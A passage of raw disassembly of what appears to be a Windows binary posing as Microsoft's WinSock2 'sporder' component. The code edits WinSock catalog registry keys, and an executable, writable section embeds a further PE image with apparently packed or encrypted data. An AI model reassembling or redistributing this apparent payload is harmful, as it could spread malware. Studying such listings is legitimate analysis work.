dword ptr ds:47A71010h test eax, eax jnz loc_4050F4 push dword ptr [ebp+6Ch] mov dword ptr [ebp+64h], 378h push dword ptr [ebp+68h] mov dword ptr [ebp+5Ch], 3 call sub_404AED test eax, eax jnz loc_4050F4 push dword ptr [ebp+68h] call dword ptr ds:47A71004h add dword ptr [ebp+74h], 104h inc dword ptr [ebp+78h] add dword ptr [ebp+6Ch], 228h cmp dword ptr [ebp+74h], 47C111E0h jl loc_404E7D jmp loc_404DF0 ; --------------------------------------------------------------------------- loc_404F63: ; CODE XREF: _0:00404EB0j push dword ptr [ebp+7Ch] call dword ptr ds:47A71004h mov esi, [ebp+4A4h] cmp [ebp+78h], esi jnz loc_404DF0 mov edx, esi shl edx, 2 mov ecx, edx mov ebx, ecx shr ecx, 2 xor eax, eax lea edi, [ebp-0F4Ch] rep stosd mov ecx, ebx and ecx, 3 rep stosb mov ecx, edx shr ecx, 2 xor eax, eax lea edi, [ebp-1EECh] rep stosd mov ecx, edx and ecx, 3 xor ebx, ebx test esi, esi rep stosb jbe loc_40507A mov eax, [ebp+4A0h] add eax, 6 mov [ebp+4A0h], eax xor eax, eax loc_404FC9: ; CODE XREF: _0:00405074j mov ecx, [ebp+4A0h] xor edi, edi loc_404FD1: ; CODE XREF: _0:00405066j mov edx, [eax+47B4AE00h] cmp edx, [ecx-6] jnz loc_405060 mov dx, [eax+47B4AE04h] cmp dx, [ecx-2] jnz short loc_405060 mov dx, [eax+47B4AE06h] cmp dx, [ecx] jnz short loc_405060 mov dl, [eax+47B4AE08h] cmp dl, [ecx+2] jnz short loc_405060 mov dl, [eax+47B4AE09h] cmp dl, [ecx+3] jnz short loc_405060 mov dl, [eax+47B4AE0Ah] cmp dl, [ecx+4] jnz short loc_405060 mov dl, [eax+47B4AE0Bh] cmp dl, [ecx+5] jnz short loc_405060 mov dl, [eax+47B4AE0Ch] cmp dl, [ecx+6] jnz short loc_405060 mov dl, [eax+47B4AE0Dh] cmp dl, [ecx+7] jnz short loc_405060 mov dl, [eax+47B4AE0Eh] cmp dl, [ecx+8] jnz short loc_405060 mov dl, [eax+47B4AE0Fh] cmp dl, [ecx+9] jnz short loc_405060 or dword ptr [ebp+edi*4-0F4Ch], 0FFFFFFFFh mov [ebp+edi*4-1EECh], ebx loc_405060: ; CODE XREF: _0:00404FDAj _0:00404FEBj ... inc edi add ecx, 10h cmp edi, esi jb loc_404FD1 inc ebx add eax, 228h cmp ebx, esi jb loc_404FC9 loc_40507A: ; CODE XREF: _0:00404FB2j xor eax, eax test esi, esi jbe short loc_405093 loc_405080: ; CODE XREF: _0:00405091j cmp dword ptr [ebp+eax*4-0F4Ch], 0FFFFFFFFh jnz loc_404DF0 inc eax cmp eax, esi jb short loc_405080 loc_405093: ; CODE XREF: _0:0040507Ej xor edi, edi test esi, esi jbe short loc_4050FA mov ebx, 47BD1A40h loc_40509E: ; CODE XREF: _0:004050F0j mov esi, [ebp+edi*4-1EECh] cmp esi, edi jz short loc_4050E3 lea eax, [ebp+7Ch] push eax push 2 push 0 push ebx push 80000002h call dword ptr ds:47A71010h test eax, eax jnz short loc_4050F4 imul esi, 228h add esi, 47B4AE00h push esi push dword ptr [ebp+7Ch] call sub_404C00 test eax, eax jnz short loc_4050F4 push dword ptr [ebp+7Ch] call dword ptr ds:47A71004h loc_4050E3: ; CODE XREF: _0:004050A7j inc edi add ebx, 104h cmp edi, [ebp+4A4h] jb short loc_40509E jmp short loc_4050FA ; --------------------------------------------------------------------------- loc_4050F4: ; CODE XREF: _0:00404E66j _0:00404EB8j ... mov [ebp+80h], eax loc_4050FA: ; CODE XREF: _0:00404DD5j _0:00404DFAj ... pop ebx loc_4050FB: ; CODE XREF: _0:00404D95j push dword ptr [ebp+70h] call dword ptr ds:47A71054h pop esi loc_405105: ; CODE XREF: _0:00404D6Dj push dword ptr [ebp+70h] call dword ptr ds:47A71058h mov eax, [ebp+80h] loc_405114: ; CODE XREF: _0:00404D15j _0:00404D2Fj ... mov ecx, [ebp+494h] pop edi call sub_4051B0 add ebp, 498h leave retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h mov eax, ds:47A72134h test eax, eax jz short loc_405140 cmp eax, 0BB40E64Eh jnz short locret_4051AE loc_405140: ; CODE XREF: _0:00405137j push esi lea eax, [ebp-8] push eax call dword ptr ds:47A7103Ch mov esi, [ebp-4] xor esi, [ebp-8] call dword ptr ds:47A71038h xor esi, eax call dword ptr ds:47A71034h xor esi, eax call dword ptr ds:47A7105Ch xor esi, eax lea eax, [ebp-10h] push eax call dword ptr ds:47A7102Ch mov eax, [ebp-0Ch] xor eax, [ebp-10h] xor esi, eax mov ds:47A72134h, esi jnz short loc_40518D mov dword ptr ds:47A72134h, 0BB40E64Eh loc_40518D: ; CODE XREF: _0:00405181j push 47A710FCh call dword ptr ds:47A71024h test eax, eax pop esi jz short locret_4051AE push 47A710E0h push eax call dword ptr ds:47A71020h mov ds:47C12184h, eax locret_4051AE: ; CODE XREF: _0:0040513Ej _0:0040519Bj leave retn ; =============== S U B R O U T I N E ======================================= sub_4051B0 proc near ; CODE XREF: _0:00404ADEp _0:0040511Bp ... var_2AC = byte ptr -2ACh cmp ecx, ds:47A72134h jnz short loc_4051B9 retn ; --------------------------------------------------------------------------- loc_4051B9: ; CODE XREF: sub_4051B0+6j jmp $+5 push ebp lea ebp, [esp+4+var_2AC] sub esp, 328h mov eax, ds:47A72134h mov [ebp+2A4h], eax mov eax, ds:47C12180h test eax, eax jz short loc_4051E2 call eax ; _acmdln loc_4051E2: ; CODE XREF: sub_4051B0+2Ej cmp dword ptr ds:47C12184h, 0 jz short loc_405229 push edi xor eax, eax and [ebp-28h], eax push 13h pop ecx lea edi, [ebp-7Ch] rep stosd mov ecx, 0B2h lea edi, [ebp-24h] rep stosd lea eax, [ebp-80h] mov [ebp-30h], eax lea eax, [ebp-28h] push 0 mov dword ptr [ebp-80h], 0C0000409h mov [ebp-2Ch], eax call dword ptr ds:47A71048h lea eax, [ebp-30h] push eax call dword ptr ds:47C12184h pop edi loc_405229: ; CODE XREF: sub_4051B0+39j push 502h call dword ptr ds:47A71044h push eax call dword ptr ds:47A71040h mov ecx, [ebp+2A4h] call sub_4051B0 add ebp, 2A8h leave retn sub_4051B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_405258 proc near ; CODE XREF: _0:004046DBp _0:00404CD5p arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_40526D neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_40526D: ; CODE XREF: sub_405258+5j push ecx lea ecx, [esp+4+arg_0] loc_405272: ; CODE XREF: sub_405258+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_405272 sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_405258 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 1D54h, 2 dup(0) dd 1EF0h, 1018h, 1D3Ch, 2 dup(0) dd 1F52h, 1000h, 5 dup(0) dd 1F2Eh, 1F20h, 1F10h, 1EFEh, 1F42h, 0 dd 1DE2h, 1DF8h, 1E08h, 1E1Ah, 1E2Eh, 1E3Ah, 1DD6h, 1E64h dd 1E7Ah, 1E90h, 1EAAh, 1EBEh, 1ED2h, 1DCAh, 1DBEh, 1DAEh dd 1DA0h, 1E54h, 0 dd 6C43002Eh, 4865736Fh, 6C646E61h, 2B80065h, 656C6552h dd 4D657361h, 78657475h, 3B00000h, 7274736Ch, 41746163h dd 3B90000h, 7274736Ch, 41797063h, 3B30000h, 7274736Ch dd 41706D63h, 3850000h, 74696157h, 53726F46h, 6C676E69h dd 6A624F65h, 746365h, 7243005Ah, 65746165h, 6574754Dh dd 4178h, 65470198h, 6F725074h, 64644163h, 73736572h, 1770000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 3BF0000h dd 7274736Ch, 416E656Ch, 2990000h, 72657551h, 72655079h dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 654701D5h dd 63695474h, 756F436Bh, 746Eh, 6547013Eh, 72754374h, 746E6572h dd 65726854h, 64496461h, 13B0000h, 43746547h, 65727275h dd 7250746Eh, 7365636Fh, 644973h, 654701C0h, 73795374h dd 546D6574h, 41656D69h, 6C694673h, 6D695465h, 3510065h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 13A0000h dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 33D0073h dd 55746553h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h dd 6C69466Eh, 726574h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 1F90000h, 53676552h, 61567465h, 4565756Ch, 4178h, 655201D6h dd 756E4567h, 79654B6Dh, 417845h, 655201C9h, 6F6C4367h dd 654B6573h, 1EC0079h, 51676552h, 79726575h, 756C6156h dd 41784565h, 1E20000h, 4F676552h, 4B6E6570h, 78457965h dd 44410041h, 49504156h, 642E3233h, 6C6Ch, 52455355h, 642E3233h dd 6C6Ch, 2 dup(0) dd 3E7FF277h, 0 dd 1FACh, 1, 2 dup(2), 1F98h, 1FA0h, 1FA8h, 1730h, 1136h dd 1FB8h, 1FCFh, 10000h, 524F5053h, 2E524544h, 6C6C64h dd 57435357h, 65746972h, 656D614Eh, 63617053h, 64724F65h dd 57007265h, 72574353h, 50657469h, 69766F72h, 4F726564h dd 72656472h, 7 dup(0) dd 47A71B92h, 3 dup(0) aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\WinSock2\Parameters',0 align 10h aProtocol_catal db 'Protocol_Catalog9',0 align 4 aNamespace_cata db 'NameSpace_Catalog5',0 align 4 aCurrent_protoc db 'Current_Protocol_Catalog',0 align 4 aCurrent_namesp db 'Current_NameSpace_Catalog',0 align 10h aCatalog_entrie db 'Catalog_Entries',0 aDisplaystring db 'DisplayString',0 align 10h aEnabled db 'Enabled',0 aLibrarypath db 'LibraryPath',0 aProviderid db 'ProviderId',0 align 10h aStoresservicec db 'StoresServiceClassInfo',0 align 4 aSupportednames db 'SupportedNameSpace',0 align 4 aVersion db 'Version',0 aSporder_dll_0 db 'sporder.dll',0 aSporder_dll_1 db 'sporder.dll',0 aNc@ db 'Næ@»',0 align 4 dd 34h dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 10000h, 1, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 1A3060h, 3A0h, 4 dup(0) dd 3403A0h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50002h, 0ECE0000h, 50002h, 0ECE0000h dd 3Fh, 0 dd 40004h, 2, 3 dup(0) dd 2FEh, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 2DAh, 300001h, 300034h, 300039h, 420034h dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aN: unicode 0, <n#> dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 aWinsock2Reorde: unicode 0, <WinSock2 reorder service providers>,0 align 4 aF: unicode 0, <f#> dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_2_3790_0Srv0: unicode 0, <5.2.3790.0 (srv03_rtm.030324-2048)>,0 align 4 a8 db '8',0 dw 0Ch dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 700073h, 72006Fh, 650064h, 2E0072h, 6C0064h, 6Ch dd 2E0080h, 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h dd 690072h, 680067h, 74h, 2000A9h, 69004Dh, 720063h, 73006Fh dd 66006Fh, 200074h, 6F0043h, 700072h, 72006Fh, 740061h dd 6F0069h, 2E006Eh, 410020h, 6C006Ch, 720020h, 670069h dd 740068h, 200073h, 650072h, 650073h, 760072h, 640065h dd 2Eh, 0C0040h, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch dd 6C0069h, 6E0065h, 6D0061h, 65h, 700073h, 72006Fh, 650064h dd 2E0072h, 6C0064h, 6Ch, 25006Ah, 500001h, 6F0072h, 750064h dd 740063h, 61004Eh, 65006Dh, 0 aMicrosoftoWind: unicode 0, <Microsoft® Windows® Operating System>,0 align 4 unicode 0, <:> dw 0Bh dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 2E0032h, 370033h, 300039h, 30002Eh dd 0 dd 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h dd 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 1000h, 104h, 314F3149h, 3166315Bh, 31A3316Dh dd 31C631ABh, 31F531E9h, 322A321Ah, 32503235h, 326F3256h dd 3284327Fh, 32AB3293h, 32E032CEh, 331532E7h, 33923378h dd 33B833A9h, 33DF33C7h, 345333F3h, 34D434B0h, 34EB34DFh dd 34FD34F4h, 352B350Ah, 355C3535h, 35A13573h, 35EB35C7h dd 36333611h, 36753655h, 368B3682h, 36BD36A8h, 36DB36C9h dd 370C36F5h, 37433722h, 37553749h, 37673760h, 37A5379Dh dd 37E337C0h, 381437EFh, 382F3824h, 3850384Ah, 38793869h dd 388D387Eh, 38C838A5h, 38E138DAh, 3972390Fh, 39BC39A4h dd 3A3B39D0h, 3A583A4Bh, 3A6E3A63h, 3A843A79h, 3A9A3A8Fh dd 3AB03AA5h, 3B213B02h, 3B473B31h, 3B723B68h, 3BAF3B99h dd 3BC33BBBh, 3BD73BCBh, 3BED3BE5h, 3BFC3BF6h, 3C0D3C06h dd 3C1A3C12h, 3C403C35h, 3C823C4Ch, 3C983C8Ch, 3C9Fh, 2000h dd 0Ch, 3000h, 0D6h dup(0) _0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00006000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _1 segment para public 'CODE' use32 assume cs:_1 ;org 406000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_406000 dd 0E6h dup(0) ; DATA XREF: _1:0040E131o dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 100h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0F5828325h, 3 dup(0A6ECE261h), 0A6E0FE1Ah, 0A6ECE260h dd 0A6E2FEE2h, 0A6ECE262h, 0A6E7FD0Eh, 0A6ECE260h, 0A6E6FD0Eh dd 0A6ECE265h, 0A6E8FD0Eh, 0A6ECE263h, 0A6E8C457h, 0A6ECE263h dd 0A6EDE261h, 0A6ECE2C0h, 0A6FFFD03h, 0A6ECE26Eh, 0A6E7C457h dd 0A6ECE277h, 0A6E8C29Eh, 0A6ECE260h, 68636952h, 0A6ECE261h dd 6 dup(0) dd 4550h, 3014Ch, 45D07DCBh, 2 dup(0) dd 210E00E0h, 6010Bh, 0B000h, 0E00h, 0 dd 0D2A4h, 1000h, 0C000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 0F000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 0D014h, 3Dh, 0D0B4h, 244h, 6 dup(0) dd 0E000h, 10h, 14h dup(0) dd 7865742Eh, 74h, 0C000h, 1000h, 4A00h, 400h, 32434550h dd 75284753h, 0 dd 0E0000020h, 7273722Eh, 63h, 1000h, 0D000h, 1000h, 4E00h dd 0 dd 3F290753h, 0 dd 0E0000020h, 6C65722Eh, 636Fh, 200h, 0E000h, 200h, 5E00h dd 0 dd 2F291733h, 0 dd 0C0000040h, 64h dup(0) dd 0DCD8h, 0B98Dh, 4927h, 40002h, 0FFFD6F00h, 1B4380FFh dd 0C43430F7h, 0B140FE96h, 0ED119A68h, 1F1C523Eh, 80FD2FD7h dd 98830ECFh, 667D4F9Dh, 0D79763F9h, 2769AF28h, 579A092Ch dd 1180C014h, 33D80F3Ch, 0E177CC15h, 4C841779h, 26A79964h dd 47C2F40Fh, 95BCF3B6h, 1FDDA5CEh, 0C1DEA155h, 1F06A524h dd 5743B98Ah, 0DF1B82C2h, 0C1997BFEh, 28892D50h, 4BA0187Fh dd 0B8C8F617h, 0B06576Fh, 34DF1C51h, 54B38EEh, 0FA84EDA3h dd 0E1BF8474h, 8785DAF3h, 13DEF266h, 47AD65BFh, 4BE97F2Eh dd 0D8799FD9h, 0ED05ADB0h, 0D7E5AD43h, 4FEBD905h, 87683E7Ch dd 0F4FF6E2Ah, 55165AF0h, 0CA5D126Dh, 0BBA62665h, 0B6C7EC76h dd 4389239h, 1B0C9C28h, 0DB4272ADh, 0E15242ADh, 5036BEE5h dd 43F152DAh, 2D6B89B7h, 703A2A28h, 5FB83218h, 49D6C685h dd 9B1B572Eh, 276D993Ah, 5B17208Eh, 230BD147h, 9D8D87CDh dd 35920D04h, 0DEA62003h, 992C22F1h, 4AAF9759h, 77C63D50h dd 819C50CBh, 7CACDBCh, 0D4756296h, 38014976h, 0F79855h dd 0FF1CAA83h, 5208D76Dh, 0F14B5264h, 89A66756h, 2C24953Bh dd 751677D5h, 3BD83694h, 276E167Fh, 6137B1B1h, 5D1462BBh dd 0D8CA1304h, 0F5F6A4FCh, 90793CC0h, 0B2F1A841h, 0E1BCF9D1h dd 0D717C064h, 561ADF08h, 61A71B6Ch, 195570E8h, 3C127A51h dd 0D3E1DC31h, 59A5FA29h, 0A6006D61h, 307206DFh, 3F445CA4h dd 0F3CD9680h, 33446753h, 97959860h, 4BF71618h, 0C5C782DEh dd 8ED50972h, 0AD480D2Bh, 0A02D9E0h, 0B08DB2A6h, 0D7781466h dd 473E05E4h, 2B54E1h, 0AC4C595Eh, 3D90F731h, 57BB9480h dd 2D978BCFh, 5E2ECDC0h, 5DCE7B19h, 0E7932D03h, 0F2920AB4h dd 51D0AB93h, 57201D14h, 9D0DD631h, 0F1558F1Ch, 0B601B0EEh dd 1AF59DE6h, 5969B4A0h, 66781184h, 896BEFF3h, 52AECD45h dd 73D6010Dh, 8094EF3h, 70FF1415h, 0AB5EB95Dh, 3954E0C8h dd 788B8FE3h, 5F96E66Ch, 33ED5E24h, 491902B8h, 0ED4F4FB1h dd 736481E5h, 0FC9D25F5h, 4A7F4166h, 4982814Ah, 309AC8DFh dd 594C7C44h, 0FE7163A1h, 31F1E919h, 0B932CCE8h, 81002D74h dd 0D89D7933h, 12B9DFB3h, 4C651274h, 40184005h, 321E31CCh dd 94FACD0h, 0FA5E450Ah, 6FC89604h, 47E1C02Fh, 0B2BFBA89h dd 35D991DFh, 10242979h, 62B9128Ch, 0D2F44EC0h, 8E86ED0Ch dd 8D3D65B2h, 0DE8F4E7Eh, 3499EEDDh, 0C52BC7B6h, 8C4A0B9Eh dd 7C8DB232h, 761D336Ah, 1B322DC4h, 0C894B38Ch, 0C1F0F280h dd 6385DE0Fh, 7B46F99Fh, 10C57C9Ch, 0A48A3395h, 77C233C6h dd 379BA993h, 0C2D6CA1Fh, 0D020BAF2h, 1B345466h, 801916CCh dd 0CE7934F9h, 7C1D9B7Dh, 0CA5D4E59h, 0DB494927h, 0A375264Dh dd 55E0E403h, 0EACFDAC1h, 0C8B48E29h, 0C3785F52h, 0D151828Ch dd 1D8363E2h, 521B33B9h, 54141B7Eh, 3F275612h, 0C4FB27C0h dd 9F60C5CCh, 7F7D1E58h, 5F1BA735h, 87B0C0A8h, 0F84D8C9Fh dd 4FC9E424h, 0BA4A2774h, 0AA437169h, 32393DF2h, 0FB28FF13h dd 71E1D3FAh, 0F2D2E3B2h, 0BDB97CB6h, 0E87535EDh, 5224C10h dd 0F86FC834h, 46076744h, 9D27C745h, 0A1996C0Fh, 8E61EE87h dd 47BB96F6h, 0DB5CA04Fh, 0E6C6A23h, 0A8527173h, 0A2F55A21h dd 0B074E48Eh, 0FABC6F1Ah, 21CC9943h, 4BA123FFh, 0B22D5D2h dd 8D76BC00h, 0EA6D7035h, 4F2AC4D4h, 53D78DD9h, 670D2691h dd 9F1BE9AFh, 1F48DE13h, 61218D4Eh, 0A911D3DAh, 145EB0B6h dd 17F0724h, 3C55D0B2h, 31AA4A55h, 1DF3C41Bh, 43553ECCh dd 9FF3DEB1h, 0A4559244h, 557E7026h, 0BCC44E4Bh, 0CD559637h dd 0AB517D69h, 92F855Bh, 0C987220Bh, 0F05C82F2h, 0DE671B21h dd 0EDE584E6h, 946C2BACh, 0CB30931Ah, 1E209598h, 7436BCACh dd 9D23002Fh, 0AF845569h, 23A0C214h, 0C53EA42Ah, 5D4A3FB6h dd 4C7BCE99h, 8997EBDFh, 1715313Bh, 5A931E0Bh, 2C8DD567h dd 0BF9BF6B2h, 5F6128B5h, 0EA083E84h, 0A91E0FDBh, 0F1C15526h dd 0A9764B07h, 0DCE254FFh, 163A42D1h, 25E1D6EDh, 80435EAAh dd 4D07D59Bh, 184257CAh, 0CBEF44E1h, 633F6634h, 310D9F0h dd 8FDD57EEh, 6B9C10EEh, 0F2AB9387h, 6D5DB267h, 0A2E4F15Eh dd 41327E40h, 7C6E4E0Fh, 95CC6E3Ah, 0EB6A0245h, 990BB244h dd 8A8964A3h, 0AD060A4Fh, 940CE3A6h, 75EC1F94h, 0BDB48625h dd 25BEB12Bh, 8B336D67h, 31F0F72Fh, 0C85669C7h, 57028A28h dd 55306283h, 59DE502h, 0BA0CD6A0h, 80D14FB6h, 4F7739C3h dd 46FB27C9h, 0C11035C4h, 3FFCDFDDh, 43498AF6h, 523BDA41h dd 312E36B5h, 24748C5Dh, 0C150881Dh, 0AA0459B3h, 0D5C2A8AAh dd 4862523Fh, 219EB325h, 578864E5h, 0E876CE82h, 9B70D0D0h dd 0F498CA77h, 0D01380A3h, 5A1A86ABh, 7A245739h, 0B42B1EA1h dd 4CFC1690h, 30A17536h, 465DDA59h, 2DCAB5A2h, 8374858Bh dd 7714220Dh, 37735CCCh, 61C7308Dh, 9871CAE3h, 49497364h dd 0F31DE346h, 40085DD3h, 955C3D6h, 1356DE53h, 0DCAB0BA0h dd 751D1CE2h, 6134CD5Ah, 0A65CE826h, 73D2932Eh, 2986F93Ch dd 0ADCBB05Bh, 0D44BD208h, 1A1EDEABh, 0C4E461A6h, 429BF9B6h dd 2ED4996Dh, 13F7E949h, 0BD62C2C8h, 0A9468E92h, 0F7E318E1h dd 0ACA96975h, 7F16FADFh, 6E59A84Dh, 50658DFBh, 1BAFC277h dd 0E41E39DAh, 19745DD3h, 786F8C0Ah, 0FA644362h, 1742E4E4h dd 22601FE7h, 9B8C915h, 11EA38ABh, 264C933Fh, 0E8FDC4A7h dd 275295E0h, 210B1BCh, 0E675BABDh, 0B4466E0Eh, 58729B01h dd 96B5ED80h, 6CEAE357h, 0AA7F1800h, 685F81B1h, 63935120h dd 9D750C14h, 79E079E9h, 20F815C5h, 0AF45BA77h, 0FE9E3C63h dd 93688143h, 0BC021B53h, 0E809DF86h, 0FC99E190h, 0D935DC89h dd 9A52359Fh, 17E508C4h, 4215DA8Ch, 0E16B56C0h, 4B1DC7AAh dd 28263139h, 0B92806EEh, 3F579482h, 0E848A1F9h, 4BB871F3h dd 0C2C8A66Eh, 5E9DDFFBh, 0C699D4F5h, 27BC32C6h, 0FF670802h dd 2B376A43h, 0C81785CEh, 0E6FFC2BBh, 3B5A2122h, 2A8BCA22h dd 78E3B518h, 3F31287Eh, 56BF8564h, 0C74284FFh, 5EADE3C5h dd 14E34EC8h, 0DB76E25Fh, 14807153h, 9CD67E17h, 9424B0D4h dd 663102FCh, 2483DF9Ch, 0D79FA00Bh, 51C6E888h, 931B2268h dd 17F6B881h, 0B135E74Eh, 0C5D57D9Bh, 0B7F273C4h, 0C271B895h dd 532768A2h, 929AAD8Ah, 24BEBA82h, 0CFEFBBB0h, 2AB386BCh dd 6D8E2828h, 0C6F27A69h, 69847822h, 23B1EB54h, 25F93447h dd 0CEE2B07Fh, 34FA85F0h, 137C0ED0h, 4DBEA256h, 709E5203h dd 49EB3F14h, 0E3D2D195h, 0A68027B9h, 9661883h, 0D8D8F1E2h dd 0A4D04AF5h, 4434996Fh, 0D2471FD7h, 0B3EC26h, 5A190A2Ch dd 473B8B28h, 9B309DFEh, 0F46DDFC7h, 0AF975650h, 3A8A9610h dd 0B77960CEh, 27114C2Ah, 13908C18h, 97D0E395h, 6DA789A0h dd 0E2CC06C8h, 78B5A575h, 0B6A24327h, 9E0A65F2h, 285AEA96h dd 0BEDC4B31h, 9660AB5h, 5467FF78h, 6F1CD0BBh, 0C1DC7294h dd 0C042640h, 55711B1Bh, 756A2FAAh, 0F411173Fh, 0AB6C7069h dd 0B60CFB5h, 0C7CBD23Fh, 0EB6387A3h, 989F5BB5h, 6E0C7548h dd 1C9323CBh, 0BB0DF09Bh, 93FAB6Fh, 3B4AA6A1h, 0E08B91DAh dd 0D9279542h, 0A085A9D8h, 6B2A01B0h, 8BA99F4Bh, 206F7AE0h dd 5F028B0h, 0B199FAD1h, 0BFF8C35h, 0B7015313h, 1DC3457h dd 0D591E8B9h, 45B856D1h, 222619ECh, 0FF7DCEECh, 7756800Dh dd 5F1BF849h dd 4E123BB8h, 0BC662CC5h, 0AC764F88h, 0E3C35EC2h, 0BDC9E20h dd 0A412F31Bh, 0E83F6EEDh, 3F32ED61h, 0E3A0DB7Ah, 0DFC64AF2h dd 0F32A2288h, 0BE70E5E0h, 4B4281F4h, 65874035h, 8E7AC3D3h dd 0E2D7CA8Fh, 0CD3589C8h, 5F5E9202h, 3BC9604h, 0BBF6D481h dd 6A3534B5h, 786CD7C9h, 2A9FA527h, 0D436066Dh, 0A55557E7h dd 0B0E850Bh, 510D72FFh, 4E4B0F65h, 269E098Eh, 1D60012Ah dd 8AB7F764h, 16F0A8Bh, 9B9F816Fh, 0BEFE6F9h, 67EDA629h dd 41657930h, 4E5E2F3Fh, 8E475A0Ch, 0F0018D3Ah, 3CF590FFh dd 0E9FB90F7h, 89F088C9h, 3C673D57h, 93924992h, 7874A69Bh dd 35C41EB0h, 0F39516B0h, 0A582533Fh, 7C416200h, 0DD3DF7CFh dd 0D5ED38AAh, 0F2C9B4B3h, 433278F8h, 0A3C7AD2Ch, 0AEB3FC88h dd 4EAF1E0Ah, 784D6A2Dh, 0B0391AFBh, 530DA787h, 0D729B350h dd 60C2F049h, 3902D0E9h, 5709B0A5h, 0CD6C5EEFh, 35F12D48h dd 0BA2F110h, 0D4C378AAh, 40081463h, 3662B95Ch, 6F8F919Dh dd 0C109E412h, 959C238Dh, 72158C78h, 7B9467ECh, 50AA8767h dd 495B478Ah, 1A879AE8h, 3352F81Eh, 0F2356432h, 7A852BAh dd 90F8B4FAh, 2909696Bh, 0C1C9836Ch, 0B5C62AACh, 385B38A4h dd 0AF1D6109h, 7938A5F5h, 706518B0h, 0D720451Bh, 5A4A77ADh dd 0C534EF55h, 0D45CC42Ch, 0CD96E3EEh, 58FE0C86h, 98110402h dd 99B4A3C4h, 0A305383Ah, 9E54E6F8h, 0F3F7FAD6h, 0F8AC7021h dd 9C2F15EEh, 77A99A7Bh, 0F86BDA9Dh, 5FB63A6Dh, 64462ECBh dd 219BD666h, 6D9CB00Dh, 0B4F0FFFBh, 0BFF73CFDh, 2145A2B4h dd 0EC3E79D9h, 259C8007h, 6C9F0916h, 8EFD8589h, 0EC242048h dd 0AF1CE7C7h, 0BFD47574h, 58C76E03h, 6E9D8CF7h, 0D7425D27h dd 0B89ACD95h, 4619B228h, 0B69D623Dh, 8D76DE4Fh, 0F11EA78Dh dd 91AEDD00h, 0FF9D5A72h, 64CC889Ch, 1B1AFEFAh, 0B239B41Eh dd 28B33416h, 47AA9A7h, 0F6473825h, 64AF5413h, 0A7D14265h dd 0A242639h, 0CF3E5B5Fh, 34581486h, 0C7DA95DBh, 5DEBF35Fh dd 0D01B8441h, 3A1932Fh, 4208CD47h, 8C73FBB9h, 0BC2BC841h dd 0C8DC8D63h, 0A7C330BAh, 0E7BBAF8h, 4BE3730Bh, 1D756762h dd 80D38C5Fh, 0B2B1DA28h, 31A1DBA5h, 0FE03076h, 6DB9F440h dd 9206B25Eh, 1D8BB3B6h, 8AB93F12h, 5977778h, 11C6ACE3h dd 0A4CE3FD2h, 11C36427h, 0FECD4E3Fh, 2F01AA34h, 0F5EAAAAEh dd 81167ED4h, 1330844Fh, 6B25F7Fh, 432BF823h, 39FEB138h dd 5661FFBEh, 0F0FEC298h, 8DD3AFFCh, 0B2D045B6h, 0D11A82DFh dd 652AF96Bh, 6A88AEC1h, 1610E2FAh, 6C9A8FC8h, 8E7CF554h dd 450FB3A4h, 0CC30D23Dh, 0EC556A06h, 3295217Dh, 6F00DCC1h dd 0D21E791Ch, 0F5966BA0h, 0B2D743C9h, 0C91407B0h, 0DAC054E0h dd 2E7E7C34h, 5A448C27h, 943BF076h, 759B936Bh, 467B9272h dd 304C19AAh, 0D041AAh, 0CFA4B1B3h, 0E4DF8B84h, 0F51BC2F4h dd 35F0392Ch, 4FC1323Dh, 0FD19B6D0h, 0CEF12C22h, 0B111AB20h dd 1C923645h, 0B93DD308h, 0C2D5D910h, 0E69B2F7h, 78103257h dd 5301790Ah, 4AC4C8FAh, 